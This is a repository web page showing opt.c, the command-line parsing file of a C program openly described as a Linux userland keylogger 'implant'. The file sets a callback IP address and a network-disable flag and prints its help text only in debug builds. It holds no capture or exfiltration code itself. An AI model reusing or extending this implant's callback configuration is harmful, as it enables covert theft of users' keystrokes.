mazepa.git


mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
log | files | refs | archive | README

opt.c (1042B)

      1 /*
      2    program's input handling is handled here.
      3 */
      4 
      5 #include <getopt.h>
      6 #include <stdio.h>
      7 #include <stdlib.h>
      8 #include <string.h>
      9 #include <unistd.h>
     10 
     11 #include "implant.h"
     12 
     13 static void help_mode(void) {
     14 #ifdef DEBUG
     15     printf("mazepa_%s USAGE:\n\t-i\tCallback IP Address\n\t-p\tCallback "
     16            "Port\n\t-n\tDisable network connection (for debug)\n",
     17            CLIENT_ID);
     18 #endif
     19 }
     20 
     21 int run_lexer(int ac, char **av, implant_t *settings) {
     22     int c = 0;
     23 
     24     char const *options = "i:hn";
     25 
     26     do {
     27         c = getopt(ac, av, options);
     28         switch (c) {
     29 
     30         case 'n':
     31             settings->disable_net = 1;
     32             break;
     33 
     34         case 'i':
     35             strncpy((char *)settings->ip, optarg, STRING_BUFFER_SIZE - 1);
     36             settings->ip[STRING_BUFFER_SIZE - 1] = '\0';
     37             break;
     38 
     39         case '?':
     40             help_mode();
     41             return ERROR;
     42 
     43         case 'h':
     44             help_mode();
     45             exit(0);
     46 
     47         default:
     48             break;
     49         }
     50     } while (c != -1);
     51     return SUCCESSFUL;
     52 }